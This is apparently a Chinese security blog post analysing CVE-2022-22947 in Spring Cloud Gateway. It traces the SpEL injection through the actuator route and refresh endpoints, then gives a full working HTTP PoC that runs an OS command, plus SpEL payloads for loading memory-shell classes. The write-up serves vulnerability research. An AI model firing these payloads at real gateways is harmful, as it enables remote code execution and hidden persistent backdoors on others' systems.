首页 > 其他分享 >spring cloud gateway rce(CVE-2022-22947)分析

spring cloud gateway rce(CVE-2022-22947)分析

时间:2022-08-23 14:55:10浏览次数:81  
标签:java spring springframework gateway 22947 2022 org poc cloud

环境搭建

https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.0.6

漏洞分析

该漏洞造成原因是因为配置可写+SPEL表达式的解析导致的

SpEL表达式的触发方式有3种,xml,注释,直接传参。这里基本不可能是将恶意poc传到注释中,或者写入到xml中,所以触发方式应该是将输入poc当做某个函数的参数传入其中的,而SpEL表达式的解析的方法为SpelExpressionParser.parseExpression()函数

全局检索这个危险函数

初步定位到org/springframework/cloud/gateway/support/ShortcutConfigurable.java中的49行函数,此处的的entryValue为传入执行参数,因此需要追踪该参数的传入路径。

往上跟踪会发现在其自定义的,normalize()函数中会传从args中取出值放入到getValue()函数中

继续跟踪发现值从this.properties参数传入

打上断点,使用refresh的会将poc执行触发漏洞,查看堆栈信息

刚开始的入口为org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.java的refresh controller控制器,进入逻辑

接下来就是定位参数值从哪里获取了,因为是分析1day漏洞,知道poc怎么写,大致清楚是从route的配置信息中获取的,这里的值也是从org/springframework/cloud/gateway/support/ConfigurationService.javathis.properties中获取的,查看该成员变量的赋值情况

查看传入处,可以定位到definition变量,这个变量是从filter中获取的值,通过for循环一个个的往properties中传

因为该漏洞是多步触发,这个filter的属性一定是以内存,文本,数据库之一的形式暂存的,此次的debug跟踪只能找到读取来源,可以看到从gatewayproperties中获取

接下来看看最先传入的逻辑,也就是post路由

跟进设置处的代码,仅检测url中的路由中的id是否为空,并且会将id设置为route,其他内容可以自由发挥

尝试发送空的json的数据包,符合格式,但可以从log中看到包含的参数有predicates,filters,url,order,metadata

将数据包发过去并refresh,发现报错,报错内容中最后出错处提示需要uri参数

注意: 这时候需要将其路由使用delete删除,不然后面的所有refresh都会报错,也就是说之前的poc如果有错误,需要delete,不然后续即使写到其他路由也会在refresh执行时报错

带上uri参数,就没报错了,并且成功回显了

再次跟踪refresh执行SpEL表达式的逻辑,带上filter参数,成功执行命令

再次请求可以返回命令信息,所以必要参数是uri,而网上公布的poc中的id参数并不是必要的

至于传入poc的参数为filters,debug调试,查看调用处逻辑,在此处传入的合法字段有predicates,filters,uri,metadata,order

这里面的filters和predicates为数组,uri为uri类型并且已经被处理过,无法注入恶意poc,注入恶意poc也会报错,而predicates不会走到SpEL表达式逻辑。

而filters中的name值也有一定的要求,必须是在以下类中的名称,非这个类的方法名称测会在post时候会进行报错

org/springframework/cloud/gateway/route/builder/GatewayFilterSpec.java

整理如下,均会执行SpEL的表达式

能回显
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
SetResponseHeader

不能回显
DedupeResponseHeader
MapRequestHeader
ModifyRequestBody
ModifyResponseBody
PreserveHostHeader
PrefixPath
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
SecureHeaders
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri

最终poc如下

POST /actuator/gateway/routes/a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 267

{
"uri":"lb://httpbin",
"filters":[{
	"name":"SetResponseHeader",
	"args":{
		"name":"a",
		"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
	}
}
]
}

注入内存马的上下文信息可以参考

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html

内存马分为2个层级一个是netty中间件级的内存马,一个是spring框架层的内存马,加载机制无非是通过classloader去加载base64解码后的字节码,然后进行运行注入到内存中

//netty
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

//spring
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}

输出成脚本工具

https://github.com/SiJiDo/CVE-2022-22947

标签:java,spring,springframework,gateway,22947,2022,org,poc,cloud
From: https://www.cnblogs.com/sijidou/p/16616162.html

相关文章

  • Spring事务的隔离级别
    之前我们说过了事务的四个特性(ACID),不了解的可以点击这里看看->Spring事务的四个特性(ACID)今天来简单说一说隔离级别...在操作数据的时候,一般就会牵扯到数据库......
  • spring boot的静态文件
    原理:基于http协议获取远程文件实现:远程为HTTP服务器,浏览器发出请求即可基于SpringBoot下载静态文件,tomcat作为http服务器,从配置的角度完成两步即可 第一步:spring.......
  • IDEA中用Maven构建Spring Boot项目
    第一步,创建一个Maven项目第二步,配置pom.xml文件添加父依赖 <parent><artifactId>spring-boot-dependencies</artifactId><groupId>org.springfram......
  • 【2022-08-18】连岳摘抄
    23:59只要我们总能及时看到自己眼睛里的梁木,我们就会变得善良。                                ......
  • 2022-8-23 剑指offer-优先队列(堆)-每日一题-太难不写了
    剑指OfferII061.和最小的k个数对难度中等44收藏分享切换为英文接收动态反馈给定两个以升序排列的整数数组 nums1 和 nums2 , 以及一个整数 k 。定义......
  • Java中枚举配合switch语句用法-2022新项目
    一、业务场景项目开发中经常会遇到多条件判断的情况,如果判断条件少的话使用if/elseif/else还比较好处理,如果判断条件多的话,则在使用这种语句就不太合适。如果是自定......
  • springboot~elasticsearch对nested集合类型的字段进行不等于的检索
    对于es的数据类型来说,如果它是一个复杂类型,而我们需要把复杂类型进行检索,那么应该定义成nested类型,而对于它的检索,如果是非集合数据,它与其它类型没有分别;而如果你的nested......
  • 【ACM】2022.08.21训练赛
    A.连续整数的和【数论】题目描述给出一个正整数N,将N写为若干个连续数字和的形式(长度>=2)。例如N=15,可以写为1+2+3+4+5,也可以写为4+5+6,或7+8。如果......
  • 轻量级分布式任务调度平台(XXL-JOB介绍、原理、工作流程、XXL-JOB环境搭建集成springb
    轻量级分布式任务调度平台(一、XXL-JOB介绍、原理、工作流程)XXL-JOB#【轻量级分布式任务调度平台】(1)基本介绍#XXL-JOB是一个轻量级分布式任务调度平台,主打特点是......
  • 基于SpringSecurity的@PreAuthorize实现自定义权限校验方法
    一、前言在我们一般的web系统中必不可少的就是权限的配置,也有经典的RBAC权限模型,是基于角色的权限控制。这是目前最常被开发者使用也是相对易用、通用权限模型。当然Sprin......